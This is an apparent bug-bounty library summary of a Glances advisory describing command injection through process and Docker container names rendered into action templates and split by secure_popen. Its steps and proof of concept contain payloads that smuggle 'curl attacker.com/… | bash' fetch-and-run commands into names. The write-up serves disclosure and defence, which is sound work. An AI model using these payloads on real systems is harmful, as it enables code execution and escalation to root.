# Glances has a Command Injection via Process Names in Action Command Templates

Glances secure_popen splits Mustache-rendered action commands on &&, |, >, letting attacker-controlled process or container names inject arbitrary commands as the Glances user.

- Payout: Research
- Severity: high
- Program: Glances
- Found by: offset
- Disclosed: 2026-03-16
- CVE: CVE-2026-32608
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-vcv2-q258-wrg7
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-vcv2-q258-wrg7
- Tags: area:cloud domain:infra impact:integrity impact:privesc impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:command-injection vuln:rce

**Target:** Glances action command execution (secure_popen) with Mustache templates
**Root cause:** secure_popen implements its own shell operator handling by splitting the fully Mustache-rendered command string on &&, |, > and running each segment via subprocess.Popen(shell=False), so operator characters inside user-controlled stat values (process/container names, mount points) become real command separators.
**Steps:**
1. Admin configures an action template referencing user data, e.g. `critical_action=echo "ALERT: {{name}} used {{cpu_percent}}% CPU" >> /tmp/alerts.log`
2. Attacker creates a process whose name contains a pipe: `cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash"` then runs it
3. Threshold triggers; chevron renders the template with the process name into the command string
4. secure_popen splits the rendered string on `|`, executing `curl attacker.com/evil.sh` and `bash` as separate subprocesses
5. Alternatively name a Docker container `web && curl attacker.com/rev.sh | bash && echo` against a `docker stats {{name}}` action to inject via `&&` splitting
**How found:** Code review of the action execution path: noticed secure_popen reimplements shell operator parsing by splitting the whole rendered command string, and that Mustache rendering happens before splitting, so untrusted stat values flow into the split logic.
**Exploitation:** Attacker with local process/container creation rights waits for a monitored threshold to fire an admin-configured action template that interpolates a user-controlled field; the injected operator segments execute arbitrary commands as the Glances process user (often root), and the `>` handler additionally allows writing arbitrary content to arbitrary file paths.
**Escalation:** If Glances runs as root for full system monitoring, a low-privileged local user escalates to root; arbitrary file write via the redirect handler widens impact.
**Insight:** When an app reimplements shell operator parsing (splitting on &&, |, >) instead of using a real shell, check whether templating/interpolation happens before the split — any user-controlled value rendered into the command becomes an operator injection point even with shell=False.

## Proof of concept (copied exactly from the original report)

**Crafted process name with pipe injection**

```
cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash"
"/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 &
```

**Docker container name with && injection**

```
docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx
```